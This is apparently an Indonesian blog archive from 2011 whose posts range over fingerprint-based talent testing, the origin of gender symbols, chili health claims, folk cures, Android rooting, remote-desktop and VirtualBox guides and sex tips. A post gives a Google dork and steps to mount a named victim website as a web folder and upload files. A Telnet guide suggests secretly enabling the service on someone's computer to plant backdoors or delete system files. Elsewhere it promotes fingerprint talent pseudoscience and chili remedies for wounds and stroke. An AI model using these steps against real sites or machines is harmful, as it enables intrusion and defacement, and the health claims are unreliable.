Ada tiga jenis sidik jari yaitu Whorl (lingkaran), Loop (sangkutan) dan Arch (busur). Sifat-sifat atau karakteristik yang dimiliki oleh sidik jari adalah parennial nature yaitu guratan-guratan pada sidik jari yang melekat pada manusia seumur hidup, immutability yang berarti bahwa sidik jari seseorang tak akan pernah berubah kecuali sebuah kondisi yaitu terjadi kecelakaan yang serius sehingga mengubah pola sidik jari yang ada dan individuality yang berarti keunikan sidik jari merupakan originalitas pemiliknya yang tak mungkin sama dengan siapapun di muka bumi ini sekali pun pada seorang yang kembar identik.



Ilmu yang mempelajari sidik jari adalah Daktiloskopi yang berasal dari bahasa Yunani yaitu dactylos yang artinya jari jemari atau garis jemari dan scopein yang artinya mengamati.

Uniknya lagi, sidik jari dapat pula dijadikan panduan mengidentifikasi bagaimana potensi seseorang, jadi sebenarnya kita bisa mengetahui bakat atau potensi kita sehingga kita bisa mengakomodasikan potensi kita untuk jenis pekerjaan apa yang paling cocok dengan bakat kita tersebut. Cara identifikasi bisa dilakukan secara kasat mata dengan orang yang pakar di bidangnya, atau ada juga yang menggunakan sebuah alat khusus pembaca sidik jari (finger print reader) yang dihubungkan ke sebuah komputer bersoftware khusus yang kemudian menganalisa berdasarkan titik-titik yang menjadi acuan. Adapun yang bisa diidentifikasi adalah mengenai pengendalian logika seseorang, reflek serta perkembangan otak. Mengenai bentuk dan pola sidik jari yang terdiri dari tiga jenis di atas memiliki ciri-ciri yang khas yaitu :
Whorl (melingkar) yaitu bentuk pokok sidik jari, mempunyai 2 delta dan sedikitnya satu garis melingkar di dalam pattern area, berjalan di depan kedua delta. Jenis whorl terdiri dari Plain whorl, Central pocket loop whorl, Double loop whorl dan Accidental whorl.
Loop adalah bentuk pokok sidik jari dimana satu garis atau lebih datang dari satu sisi lukisan, melereng, menyentuh atau melintasi suatu garis bayangan yang ditarik antara delta dan core, berhenti atau cenderung berhenti ke arah sisi semula.
Arch merupakan bentuk pokok sidik jari yang semua garis-garisnya datang dari satu sisi lukisan, mengalir atau cenderung mengalir ke sisi yang lain dari lukisan itu, dengan bergelombang naik di tengah-tengah.
Perkenalan Fingerprint Test

FT (fingerprint test) alias uji membaca sidik jari adalah metode berlandaskan dermatoglyphic, ilmu pengetahuan yang usianya ratusan tahun. FT adalah genetik blueprint.

Dermatoglyphic dari bahasa Yunani, derma berarti kulit dan glyph yaitu ukiran adalah ilmu pengetahuan yang berdasarkan teori epidermal atau ridge skill (garis-garis pada permukaan kulit, jari-jari, telapak tangan, hingga kaki). Dermatoglyphic mempunyai dasar ilmu pengetahuan yang kuat karena didukung penelitian sejak 300 tahun lalu.

Para peneliti menemukan epidermal ridge memiliki hubungan yang bersifat ilmiah dengan kode genetik dari sel otak dan potensi inteligensia seseorang. Penelitian dimulai oleh Govard Bidloo pada tahun 1685. Lalu, berturut-turut dilakukan oleh Marcello Malpighi (1686), J.C.A. Mayer (1788), John E. Purkinje (1823), Dr. Henry Faulds (1880), Francis Galton (1892), Harris Hawthorne Wilder (1897) dan Noel Jaquin (1958).

Beryl B. Hutchinson tahun 1967 menulis buku berjudul Your Life in Your Hands, sebuah buku tentang analisis tangan. Terakhir, hasil penelitian Beverly C. Jaegers (1974), sidik jari tercermin dalam karakteristik dan psikologi seseorang. Hasil penelitian mereka telah dibuktikan di bidang antropologi dan kesehatan.
Tahap Fingerprint Test

Untuk memeriksa kecerdasan Anda lewat sidik jari, awalnya telapak tangan difoto dengan sebuah kamera yang terhubung pada layar monitor. Selanjutnya, kesepuluh jari discan pada sebuah alat menyerupai bentuk mouse komputer. Caranya cukup dengan meletakkan masing-masing ujung jari secara bergantian. Saat itulah, kesepuluh sidik jari Anda telah terekam dalam seperangkat komputer. Kemudian, seorang FT analis akan menganalisisnya.

Hasil seluruh analisis secara detail baru bisa diberikan 5 hari kemudian, menunggu hasil analisis laboratorium di Singapura. Di Indonesia memang belum ada laboratorium khusus untuk FT ini.

Saat hasil lengkap rekam sidik jari diberikan kepada pasien, tim psikolog siap memaparkan artinya. Untuk informasi, jari kelingking menggambarkan penglihatan. Jari manis melambangkan pendengaran. Jari tengah berhubungan dengan sentuhan, keseimbangan, pergerakan serta koordinasi tangan dan kaki. Jari telunjuk sebagai proses informasi (tangan kiri untuk logika, tangan kanan untuk pikiran). Ibu jari untuk berpikir dan membuat keputusan.

asal mula logo pria & wanita




Asal Mula Simbol Pria Dan Wanita-Sobat sekalian pasti pernah melihat dan tidak asing dengan simbol Pria dan
Wanita,tapi tahukah dari mana asal mula simbol itu berasal?Sedikit saya
akan berbagi info dari simbol tersebut.

Cukup mengakjubkan bahwa keberadaan simbol itu sudah cukup lama.
Didalam dunia Ilmu pengetahuan saja, lambang ini untuk pertamakalinya
dipakai pada tahun 1753 oleh Pengarang buku Species Plantarum.
Sebelumnya simbol-simbol yang menyatakan laki dan perempuan ini
ditemukan pada peninggalan-peninggalan kuno pada jaman prasejarah.

Sebelum
ada tulisan, bangsa-bangsa prasejarah menggunakan gambar dan simbol
untuk “berkomunikasi”. Para ahli mencoba untuk mencari hubungan mengapa
simbol tersebut yang digunakan untuk menunjukkan laki dan perempuan.

Ada
yang berpendapat tanda lingkaran dan panah menunjukkan bahwa
laki-laki saat itu memang dikenal sebagai pemburu yang bersenjatakan
tombak, sementara simbol lingkaran dengan tanda silang dibawahnya,
sebagai penggambaran perempuan, menunjukkan bahwa wanita memiliki
kecenderungan bercermin (lambang itu dianalogikan sebagai cermin
bergagang).
Namun
ada juga yang menyebutkan bahwa simbol-simbol itu telah mengalamai
perubahan sejak lama, yang diturunkan dari bentuk fisik manusia
laki-laki dan perempuan.

Oh ya simbol ini juga digunakan sebagai simbol planet di tata surya
kita, yaitu untuk Mars dan Venus yang selanjutnya juga dikenal : Mars
sebagai gambaran laki-laki, dan Venus untuk Perempuan.






Mars sendiri dalam mitologi
Romawi sendiri menurut kepercayan adalah salah satu dari dewa Perang dan
dalam mitologi Yunani. dikenal dengan nama Ares.Dia adalah anak dari
Zeus dan Hera dan termasuk dalam 12 Dewa Olimpus.


Sedangkan Venus dalam mitologi Romawi.Dikenal dengan nama Afrodit. Salah satu Dewi yang diasosiasikan dengan cinta dan kecantikan.

sumber :

Selasa, 15 November 2011

Manfaat Cabe untuk kita





Cabe merupakan salah satu bumbu dasar untuk penyedap rasa masakan, umumnya berwarna merah menyala atau hijau tua. Jika cabe dibelah, maka kita akan menemukan tangkai putih di dalamnya yang mengandung zat capsaicin yang seperti minyak dan menyengat sel-sel pengecap lidah. Zai inilah yang mengakibatkan cabe menjadi pedas dan panas di lidah ketika kita mengkonsumsinya. Tapi zat ini jugalah yang membuat orang ketagihan dan kecanduan saat menyantap makanan.

Namun, dibalik sensasi rasa pedasnya terdapat berjuta manfaat dan kandungan gizi yg belum kita ketahui sebelumnya. Selain berkhasiat untuk meningkatkan nafsu makan juga memiliki manfaat lain untuk tubuh.

Contohnya, pada cabe rawit yang rasa pedasnya luar biasa, ternyata mengandung vitamin C dan betakaroten (provitamin A) yang konon dapat mengalahkan kandungan pada buah-buahan seperti mangga, nanas, papaya atau semangka. Bahkan menurut penelitian, kadar mineralnya, terutama kalsium dan fosfor mengungguli ikan segar. Sebetulnya di antara jenis-jenis cabai lainnya, paprika merah memiliki kandungan vitamin C yang paling tinggi, hingga dua kali lipat.

Sementara kadar betakarotennya pun lebih unggul dibandingkan dengan paprika hijau, 9 kali lebih besar. Sebagian besar kandungan betakaroten paprika terkonsentrasi pada bagian di dekat kulit.

Adapun manfaat cabe yang lainnya yaitu :

1. Penyembuh Luka
Jika jari Anda secara tidak sengaja teriris pada saat memasak, pada umumnya Anda akan mencari obat merah untuk menyembuhkannya. Namun walaupun Anda telah member obat merah pada luka, rasa sakit/nyeri tetap saja berasa kuat.

Alternatif obat merah yang tidak hanya mencegah infeksi tapi juga segera meredakan rasa nyeri dan pendarahan sehingga mempercepat proses penyembuhan adalah cabe merah. Caranya, adalah cabe merah dikeringkan kemudian ditumbuk sampai halus.

Setelah itu ditaburkan pada luka-luka. Bubuk cabai tersebut tidak akan membuat perih luka Anda. Justru sebaliknya, cabe akan menghentikan dengan cepat nyeri dan pendarahan yang ada. Ini disebabkan karena adanya zat capsaicin pada cabe merah yang menghilangkan rasa sakit.

2. Pereda Demam Tinggi
Dibandingkan dengan pengobatan konvensional, mengatasi demam tinggi dengan cabe merupakan solusi alternatif yang mudah, murah dan cepat. Tapi yang dugunakan bukan buah cabenya tapi daunnya.

Caranya, pertama ambil segenggam daun cabai rawit, lalu tumbuk sampai halus. Tambahkan 1 sendok minyak selada dan campurkan kedua bahan ini sampai rata. Setelah itu tempelkan ramuan pada ubun-ubun atau dibalurkan pada seluruh badan.

Selimuti badan penderita dengan selimut yang tebal. Tak berapa lama, badan akan mengeluarkan keringat, sehingga panas badan akan menurun dengan cepat.

3. Meredakan pilek dan hidung tersumbat
Karena cabe mengandung zat capsaicin yang dapat mengencerkan lender, sehingga lendir yang tersumbat dalam rongga hidung akan menjadi encer dan keluar. Akibatnya, hidung menjadi tidak tersumbat lagi. Ini berlaku pada sinusitis dan juga batuk berdahak.

4. Mencegah Stroke
Cabe dapat memperkecil risiko terserang stroke, penyumbatan pembuluh darah, impotensi, dan jantung koroner. Karena, dengan mengkonsumsi capsaicin secara rutin darah akan tetap encer dan kerak lemak pada pembuluh darah tidak akan terbentuk. Sehingga, darah akan mengalir dengan lancar. Jadi, cabe juga berkhasiat mengurangi terjadinya penggumpalan darah (trombosis).

5. Meringankan sakit kepala dan nyeri sendi
Pernah dengar kan nasihat kalau pusing, makan yang pedas-pedas? Nasihat itu ada benarnya karena rasa pedas yang ditimbulkan capsaicin dapat menghalangi aktivitas otak ketika menerima sinyak rasa sakit dari pusat sistem saraf. Terhambatnya perjalanan sinyal ini akan mengurangi rasa sakit yang kita derita.

Selain itu cabe berkhasiat juga untuk meredakan migrain

6. Meningkatkan nafsu makan
Karena capsaicin dapat merangsang produksi hormon endorphin, hormon yang mampu membangkitkan rasa nikmat dan kebahagiaan. Sehingga, nafsu makan menjadi bertambah.

sumber :

7 Pengobatan 'Tergila' yang Pernah Ada di Dunia

Zaman sekarang semua orang lebih mementingkan teknologi, apalagi dalam masalah pengobatan. Padahal masih banyak pengobatan dengan cara tradisional yang tidak diragukan untuk menyembuhkan suatu penyakit.. Berikut ini beberapa cara pengobatan tradisional tergila yang pernah dipercaya pada zamannya

1. Pengobatan AIDS Afrika Selatan: Bercinta dengan Perawan

Sebuah survey menemukan lebih dari 1/3 masyarakatnya percaya pada pengobatan kuno yang unik ini. Yap.. bercinta dengan perawan, yang dipercayai mampu membersihkan kuman-kuman dalam tubuh penyebab penyakit AIDS. Mitos ini muncul di Afrika Selatan yang merupakan negara dengan tingkat kekerasan seksual tertinggi

2. Pengobatan Inggris Kuno untuk Malaria: Jaring Laba-laba

Beberapa dekade lalu saat sebuah wabah malaria menjalar secara cepat di berbagai belahan dunia, bermacam pengobatan digunakan untuk mengatasi penyakit ini. Salah satu obat yang paling unik waktu itu adalah tablet yang dibuat dari gulungan jaring laba-laba.

Bukti dari khasiat tablet ini memang telah memudar beberapa abad lalu namun kini justru telah dikembangkan obat sejenis berbahan laba-laba yang masih hidup.

3. Pengobatan Mesir Kuno untuk Infeksi Mata: Darah Kelelawar

Masyarakat Mesir kuno pernah mengalami masa-masa sulit saat wabah kebutaan menyerang wilayah itu, karena curah matahari yang cukup tinggi serta diperparah dengan adanya badai gurun.

Untuk menangani masalah ini, para dokter di zaman Mesir kuno menggunakan darah kelelawar yang diteteskan pada mata pasiennya. Mereka berpikiran bahwa kelelawar memiliki pandangan yang tajam sehingga obat ini mereka gunakan pada para pasiennya.

4. Obat Sakit Perut dari Cina: Empedu Monyet

Empedu monyet merupakan pengobatan yang telah lama digunakan masyarakat Cina. Bukan hanya untuk penyakit mata, obat ini digunakan juga sebagai ramuan anti sakit perut. Sedangkan darah dari monyet-monyet ini digunakan untuk obat kuat.

Di Indonesia pun masih ada yang memakai kera sebagai obat. Mereka menggunakan otak kera sebagai obat penyakit impotensi.

5. Obat anti Penuaan: Mandi Bir

Di kota Chodova Plana, Czech Republic, terdapat sebuah “pusat kesehatan bir” yang merupakan pertama dan satu-satunya di dunia. Di sana mereka menawarkan perawatan dengan sarana mandi air hangat yang dicampur dengan air mineral dan juga bir. Terapi ini diyakini mampu mencegah dari penuaan terutama bagi para wanita.


6. Obat Radang Tenggorokan: Kotoran Anjing
“Album graecum” merupakan sebutan untuk kotoran anjing atau hyena yang telah memutih karena berada di udara terbuka.

Zaman dahulu kotoran anjing ini digunakan untuk pengobatan tradisional dan biasanya dicampur dengan madu. Campuran kotoran anjing plus madu ini mampu membersihkan tenggorokan sehingga diyakini mampu mengobati peradangan pada tenggorokan.

7. Obat Impotensi dari Peru: Jus Kodok

Sering disebut dengan Viagra dari Peru. Sangat cocok untuk mereka para pengidap lemah syahwat. Permintaan pasar untuk produk ‘Extracto de rana’ (Jus Kodok) ini sangat tinggi di kota Lima, Peru.

Selain untuk impotensi, jus ini juga mampu mengobati penyakit lainnya seperti, asma, bronkitis, dan penyakit pernafasan lainnya. Namun ada satu bahan campuran yang ternyata meningkatkan khasiat dari jus ini yaitu Maca, yang berupa tumbuhan sebagai obat kuat berasal dari Amerika Selatan.

Senin, 14 November 2011

Tutorial Root Android 2.3.4 (Gingerbread) Samsung Galaxy Ace

Fungsi Root pada Android adalah untuk memberi hak akses penuh (Administrator) kepada pengguna Android untuk dapat masuk ke sistem Android. Dengan melakukan Root, pengguna dapat menambah, mengurangi maupun memodifikasi file-file atau data-data yang terletak pada sistem Android yang bila dalam keadaan standar (belum root) file-file tersebut tidak dapat di akses. Ada beberapa aplikasi yang bisa digunakan dengan mengharuskan Android dalam keadaan root.

Berbeda dengan Android versi sebelumnya yang pernah saya gunakan, proses rooting Gingerbread terbilang sangat mudah dan cepat dibandingkan rooting Android Eclair dan Froyo yang mengharuskan reset data dan ganti firmware (entah kalau sekarang). Kali ini saya mencoba rooting pada device Samsung Galaxy Ace yang sudah menggunakan Andorid 2.3.4 (Gingerbread).

Sebelum melakukan proses rooting, ada beberapa yang harus Anda persiapkan;

1. Cek versi firmware Android yang Anda gunakan, dengan membuka menu Setting > About Phone

shot 000019 Tutorial Root Android 2.3.4 (Gingerbread) Samsung Galaxy Ace

2. Pada gambar di atas terlihat, versi firmware 2.3.4. Selanjutnya Unduh file untuk Rooting DISINI

3. Simpan file tersebut di SD Card Anda. Kemudian Power Off Android Anda (Pastikan Android Anda benar-benar mati)

4. Tekan dan Tahan tombol HOME (tombol tengah) dan tombol POWER secara bersamaan.

5. Akan muncul beberapa pilihan menu, untuk memindahkan opsi atas dan bawah gunakan tombol volume. Untuk Memilih tekan tombol home.

Foto0086 Tutorial Root Android 2.3.4 (Gingerbread) Samsung Galaxy Ace

6. Pilih Apply update from sdcard lalu cari dan pilih file yang Anda unduh tadi (ISO-8859-1__upd_1.zip)

7. Setelah dipilih maka akan kembali ke menu utama, lalu pilih Reboot.

8. Tunggu beberapa menit untuk proses instalasi dan reboot. Jika proses rooting berjalan dengan lancar, pada Android Anda akan ada aplikasi baru yaitu super user.

shot 000018 Tutorial Root Android 2.3.4 (Gingerbread) Samsung Galaxy Ace

Kurang dari 5 menit Gingerbread Anda sudah dalam keadaan Rooting 05 Tutorial Root Android 2.3.4 (Gingerbread) Samsung Galaxy Ace

Selamat mencoba

Remote komputer dari jarak jauh dengan Radmin

Bagi temen-temen, mungkin sudah pada tahu aplikasi seperti vnc, pc anywhere, dll
aplikasi2 tersebut bisa digunakan untuk meremote komputer dari jarak jauh
syarat utamanya asalkan komputer terhubung dengan jaringan seperti internet, lan atau wan.

hal ini berguna apabila kita ingin melakukan semacam troubleshout, atau hanya sekedar untuk melihat-lihat saja
kali ini saya akan sedikit membahas tentang instalasi Radmin yang juga salah satu aplikasi untuk meremote pc
(artikel ini dikhususkan bagi yang belum tahu saja, kalo sudah tau, please dont read this article)

Langkahnya yaitu:

1. Install aplikasi Radmin server pada komputer yang akan diremote
- jalankan program Radmin 3.1 server (rserv31)
- Klik next, klik accept, klik install-finish

2. Jika sudah selesai lanjutkan dengan konfigurasi
- klik permissions-pilih Radmin security-klik permission
- klik add user, masukkan user name dan password yang anda inginkan
- klik Allow pada All Access,klik OK, OK, Klik Exit

3. Konfigurasi firewall diPC tersebut
- klik Start – Settings – Control Panel, windows firewall
- tab exception, klik add port
- pada kotak name masukkan “Radmin” (tanpa tanda kutip)
- pada kotak port number dengan “4899″, (tanpa tanda kutip), klik Ok
- jika program radmin sudah masuk di list exception klik Ok

4. Install aplikasi Radmin viewer di PC yang akan meremote
- jalankan file radmin viewer (rview31)
- klik tomobil Add New Connection
- masukkan nama PC yang anda inginkan dan isi juga IP address pc tersebut, OK
- lalu double klik pada pc yang ingin dikendalikan.

5. Pc sudah bisa dikendalikan
- jalankan program Radmin viewer
- double click pada gambar PC yang ingin anda kendalikan.
- Masukkan username dan password yang telah dibuat
- komputer sudah bisa di remote

lihat demo video di http://www.radmin.com/products/radmin/radmin_demo.php

if u re not make it find it by ask to google and let it ur self to explore your brain

download Radmin 3.1


Sumber

Cara Instal Windows Server 2008 di VirtualBox

Minimnya perangkat hardware yang kita miliki jangan jadikan alasan untuk tidak bisa belajar dan menggunakan sistem operasi server keluaran Microsoft ini.

Solusinya adalah dengan Virtualisasi, anda bisa menginstal lebih dari satu sistem operasi dalam komputer anda tapi tetap bisa menggunakan sistem operasi yang anda gunakan secara bersamaan. Ini dapat menghemat waktu anda, selain anda bisa belajar menggunakan server tapi anda juga tetep bisa mengerjakan pekerjaan anda.

Salah satu software yang cukup terkenal dan mudah untuk didapat adalah VirtualBox, walaupun microsoft memiliki Virtual PC untuk virtualisasi tapi yang saya miliki saat ini hanya VirtualBox. Anda dapat menginstal bermacam jenis sistem operasi dengan virtualbox.

Saya akan menginstal Windows Server 2008 pada Windows 7 saya, yang anda butuhkan adalah DVD Windows Server 2008 dan software virtualbox. Untuk virtualbox anda dapat download gratis di situs resminya. Saya anggap komputer anda sudah terinstal virtual box.

1. Jalankan virtualbox

virtual box1 thumb Cara Instal Windows Server 2008 di VirtualBox

2. Anda buat virtual machine, tentukan sistem operasi yang ingin anda instal.

virtual box2 thumb Cara Instal Windows Server 2008 di VirtualBox

3. Pilih berapa RAM yang ingin anda gunakan untuk menjalankan OS. Untuk windows server 2008 minimal ram adalah 512 MB.

virtual box3 thumb Cara Instal Windows Server 2008 di VirtualBox

4. Buat partisi baru untuk menyimpan OS virtual.

virtual box4 thumb Cara Instal Windows Server 2008 di VirtualBox

5. Pilih jenis partisi yang akan anda buat. Pilih dinamic agar anda bisa menentukan berapa besar partisi sedangkan fixed menyesuaikan besar partisi pada hardisk anda.

virtual box5 thumb Cara Instal Windows Server 2008 di VirtualBox

virtual box5a thumb Cara Instal Windows Server 2008 di VirtualBox

6. Klik Finish.

virtual box6 thumb Cara Instal Windows Server 2008 di VirtualBox

7. Kembali pada VirtualBox, pilih OS yang anda buat kemudian klik Start.

virtual box7 thumb Cara Instal Windows Server 2008 di VirtualBox

8. Pilih media untuk instalasi, saya menggunakan DVD drive untuk menginstal.

virtual box8 thumb Cara Instal Windows Server 2008 di VirtualBox

9. Sekarang anda bisa menggunakan windows server 2008 secara virtual.

virtual box9 thumb Cara Instal Windows Server 2008 di VirtualBox

Karena sebelumnya saya sudah menginstal Windows Server 2008 maka saya tidak akan meneruskan instalasi. Berikut contoh OS yang berhasil diinstal.

virtual box10 thumb Cara Instal Windows Server 2008 di VirtualBox

Trik : Ketika kursor anda berada pada virtualbox, tekan tombol CTRL sebelah kanan untuk melepaskan kursor.

Semoga bermanfaat. 15 Cara Instal Windows Server 2008 di VirtualBox


sumber

aplikasi QT Framework

Qt (dibaca kiut) adalah sebuah aplikasi cross-platform dan kerangka UI yang memungkinkan pengembang untuk menulis aplikasi sekali dan menempatkan mereka di banyak desktop dan embedded system operasi tanpa menulis ulang kode sumber.

Qt Development Framework memungkinkan seorang developer C++ menghasilkan Aplikasi rich dan cross-platform secara lebih mudah dari sebelumnya. Revolusi Membangun aplikasi telah berubah dengan hadirnya Nokia QT SDK.

Beberapa yang menarik dari Qt:

  • Multi platform, Hal ini memungkinkan Developer menggunakan Qt diberbagai platform seperti Windows, Linux, dan MAC.
  • Dokumentasi, pada Qt terdapat dokumentasi yang lengkap, simpel, dan menyeluruh. Bahkan terdapat step by step cara penggunaannya.
  • Komponent Lengkap, hampir sama banyak dengan .net, komponen Qt juga cukup lengkap. bagusnya lagi untuk layout sudah mendukung GRID, FLOW, CANVAS, FORM dsb. Jadi gak perlu pusing dengan logic layout jika window di resize.
  • Editor Canggih, Hampir sama seperti Visual Studio, desain form bisa drag drop. Code intellisense yang sangat responsive.

qt sdk thumb Sekilas Tentang Qt Framework

QT SDK Mengandung :

  • QT Creator 2.0 lingkungan pengembangan terpadu (IDE)
  • Online pemutakhiran yang secara otomatis menginstal versi baru dari Nokia Qt SDK dan patch yang tersedia
  • QT Simulator untuk pengujian mobilitas Fungsi API
  • QT mobilitas API 10.1
  • MADDE Tool Chain yang mendukung Nokia N900
  • Symbian Tool Chain
  • On-device debugging untuk Qt Creator
  • Remote compilation service yang menyediakan standar untuk membangun Qt aplikasi dan menciptakan Paket instalasi paket untuk devise Symbian dan Maemo devices

Seperti programming Editor Lainnya QT Creator juga Dilengkapi dengan :

  • Project Content
  • Code-Editor untuk C++,
  • Ditunjang dengan Help yang kasus sensitif,
  • Build status
  • Sebuah Debugger ber-penampilan grafis,
  • Pengelola source code

Berikut adalah tampilan Qt Creator :

Qt Creator thumb Sekilas Tentang Qt Framework

Downlod : Nokia Qt SDK 1.0 (Disarankan jangan download yang Online Installer, pilih yang offline installer sekitar 900MB)

Referensi :

Injection a Website (Windows XP Only)

Dork : inurl:"~r00t.txt"

1. Buka Run -> Isi " %WINDIR%\EXPLORER.EXE ,::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\::{BDEADF00-C265-11d0-BCED-00A0C90AB50F} "
[Image: 1.JPG]

2. Sesudah masuk buat "Web Folders", Right click -> New -> Web Folders
[Image: 1.JPG]

3. Saatnya cari target di Google
[Image: 1.JPG]

4. Dan masukkan Dork yang ada di atas, lalu pilih target yang di inginkan
Contoh : " http://www.cnwxzl.com/r00t.txt "
[Image: 1.JPG]

5. Dan masukkan URL target ke dalam "Add Web Folder" -> Klik Next
[Image: 1.JPG]

6. Setelah klik Next -> Klik Finish untuk mendapatkan hasil seperti ini
[Image: 1.JPG]

7. Buka foldernya dan Copy file HTML anda di situ.
[Image: 33die00.jpg]

8. Dan sekarang coba buka URL target korban di tambahkan file anda

Rabu, 09 November 2011

Jangan Terkecoh Orgasme Palsu Wanita

Jakarta, Banyak perempuan yang sulit merasakan puncak kenikmatan seks. Namun karena tak ingin mengecewakan pasangan prianya, biasanya wanita pura-pura melakukan orgasme. Agar tak terkecoh orgasme palsunya, ada baiknya pria mengetahui trik yang membuat wanita merasakan orgasme yang 'tidak menipu'.

Karena bagaimana pun, tidak ada yang lebih membahagiakan pagi setiap pasangan ketika melihat pasangannya juga merasakan kebahagiaan tersebut, begitu juga untuk urusan seks.

Ketika orgasme menjadi puncak kesenangan dan kenikmatan bagi pria dan wanita, mereka pun berusaha sebisa mungkin untuk mencapai puncak tersebut.

Namun jalan yang harus ditempuh wanita untuk mencapai puncak tersebut umumnya lebih lama dibanding pria, sehingga tidak jarang mereka menghentikan hasrat mereka di tengah jalan dan mengaku sudah orgasme demi pasangannya.

Ketika seorang wanita merasakan sensasi yang sangat luar biasa pada saat orgasme, ia akan melengkungkan badannya, suaranya mengerang dan mengeluarkan desahan yang sangat menggoda.

Dengan reaksi seperti itu, pria pasti merasa senang dan bangga karena mampu membuat pasangannya merasakan puncak seksualitas (orgasme). Namun pernahkah Anda merasa bahwa apa yang si wanita lakukan hanya pura-pura demi menyenangkan Anda semata?

Agar tak penasaran membuatnya merasakan orgasme yang 'sebenar-benarnya', ikuti 4 trik di bawah ini yang dikutip dari askmen, Selasa (21/6/2009) yang bisa dicoba pria untuk pasangan wanitanya.

1. Pakai Cologne Maskulin

Penciuman adalah salah satu panca indera yang memiliki fungsi seksualitas. Aroma maskulin mencerminkan keperkasaan dan segala sesuatu yang berhubungan dengan kejantanan dan testosteron, hal tersebut dapat meningkatkan libido wanita ke 'gigi' yang lebih tinggi.

Selain itu, indra penciuman, seks dan pusat ingatan letaknya berdekatan di dalam otak, sehingga aroma yang tercium akan tersimpan dan meninggalkan kesan tertentu di dalam otak. Oleh karena itu, aroma maskulin yang tercium untuk kedua kalinya olehnya akan langung mengingatkannya pada aroma tubuh anda.

2. Hangatkan Kakinya


Mungkin sebagian pria tidak tahu bahwa menghangatkan kaki wanita dapat meningkatkan kemampuannya dalam orgasme. Kaki yang hangat membuat psikologi wanita terasa lebih nyaman. Hal tersebut didasari oleh penelitian di Universitas Groningen, Belanda, yang menyebutkan bahwa kemampuan orgasme wanita akan meningkat sekitar 30% jika kakinya diberi air hangat.

Jika Anda ingin mencoba teknik yang lebih seksi, pijat kakinya dengan gel hangat, terutama jika Anda ingin langsung meraba daerah paha dan sekitarnya, kemudian langsung menuju zona kewanitaannya. Saraf-saraf pada kaki letaknya juga berdekatan dengan saraf alat kelamin atau organ kewanitan. Jadi jika saraf-saraf kaki terasa nyaman dan terangsang, organ-organ genital pun akan merasakannya.

3. Fokus Pada Daerah Sekitar Klitorisnya (Antara Arah Jam 10 dan Jam 2)

Jika Anda menggunakan lidah Anda untuk merangsang daerah kiltorisnya, Anda akan membuatnya merasa melayang dan menikmati sensasi tersebut melebihi apapun, termasuk ekstasi. Dua spot tersebut dijamin pasti membuatnya ingin dijilati terus.

Cara paling asyik untuk melakukan aksi tersebut adalah dengan membuatnya mengangkang, dengan posisi anda berbaring ke depan dan wajah menghadap daerah klitorisnya. Dengan gaya tersebut, ia akan bebas bergerak dan menggeliat ketika mencapai puncak orgasme.

4. Cium Bagian Kanan Punggungnya

Menyentuh dan menciumi bagian kanan punggungnya pasti membuat wanita meleleh, dibandingkan mencium bagian kirinya. Mungkin hal ini dikarenakan bagian kanan tubuh dipengaruhi oleh otak kiri yang merupakan sisi logika yang akhirnya mentransfer apa yang dirasakan ke dalam pikirannya. Jangan lupa untuk memberikan sedikit ciuman yang menggelitik dan menggoda, dan lakukan gerakan mencium tersebut dalam bentuk kurva. .

Trik Menuju Puncak


Waktunya untuk melakukan 'test drive'. Dengan semua trik di atas, dijamin ia akan terangsang dan merasa terbang, pupil matanya akan membesar, tubuhnya akan bergetar dan menggeliat, dan ketika ia sudah tidak tahan lagi, itulah puncaknya.

Cobalah 4 trik tersebut jika ingin membuatnya benar-benar merasakan orgasme.

Selasa, 08 November 2011

Remote Komputer dengan Telnet

Telnet merupakan fitur lama yang dipakai untuk meremote sebuah host melalui command line. Telnet bekerja melalui port 23. bila kita dapat masuk ke komputer lain dengan telnet, maka kita dapat melakukan banyak hal layaknya kita berhadapan muka dengan komputer tujuan.


Pada contoh kali ini kita akan mencoba meremote komputer lain dalam sebuah jaringan LAN. komputer saya memiliki IP Address 192.168.1.3, sedangkan komputer tujuan yang akan kita remote memiliki IP Address 192.168.1.4.


Untuk melakukan koneksi melalui fasilitas telnet, terlebih dahulu pada komputer yang akan diremote (192.168.1.4) dijalankan dulu service telnet-nya. jika ia menggunakan Sistem Operasi Windows XP, cara mengaktifkannya adalah : Start => Control Panel => Addministrative tools => Services => Telnet.
Pada jendela baru yang terbuka, pada bagian Startup Type pilih "Manual", setelah itu klik "Apply", Kemudian pilih Tombol "Start" dan terakhir klik tombol "Ok"


Jika service sudah dijalankan, maka dari komputer yang akan meremote (192.168.1.3 ) kita tinggal membuka CMD atau program sejenis dan menuliskan syntax "TELNET 192.168.1.4". jika ada pertanyaan "You are about to send your password information to a remote computer in Internet zone. This might not be safe. Do you want to send anyway(y/n):", jawab saja dengan menekan "N" lalu tekan Enter
Tidak lama kemudian kita akan diwajibkan mengisi username dan password dari User Account komputer tujuan. seperti contoh kali ini, user 192.168.1.4 memiliki Account Windows XP dengan nama "Gue" dan Password "abc12". setelah memasukkan kata sandi ini dengan benar, maka posisi CMD saya kali ini tidak lagi berada pada komputer 192.168.1.3, namun pada komputer tujuan yaitu 192.168.1.4. ini dapat dibuktikan dengan menjalankan perintah "Dir" untuk melihat isi direktori yang ada.


selanjutnya, saya bisa melakukan apa saja kepada komputer tujuan ini melalui komunikasi telnet, baik sekedar meng-copy file, membuat backdoor, atau bahkan menghapus file sistem yang ada, semua tergantung penguasaan anda dalam perintah command line. jika anda ingin mempelajari command line ini, anda dapat melihat artikel lama disini.

Bagaimana?, cukup mudah bukan untuk melakukan komunikasi telnet ini?, yang perlu kita lakukan hanyalah membuka service telnet pada komputer tujuan. jika anda punya target dalam jaringan lokal, anda dapat diam-diam meminjam komputernya dan menjalankan service ini...heheehehe.. atau, kalau mau lebih kreatif anda bisa membuat sendiri aplikasi atau virus yang bisa menjalankan service, tidak terlalu susah kog... ^^.

suber

SQL Injection::Login Bypass

kemarin saya di ingatkan lagi dengan teknik sql injection yang sudah cukup lama. namun cukup ampuh dan tetap menjadi favorite saya sebelum melakukan exploit database. yaitu Login Bypass. teknik yg layak di coba, dan dengan sedikit keberuntungan kita tidak perlu exploitasi database yang memakan waktu cukup lama. walau demikian, teknik ini semakin dilupakan oleh anak2 muda sekarang ini.

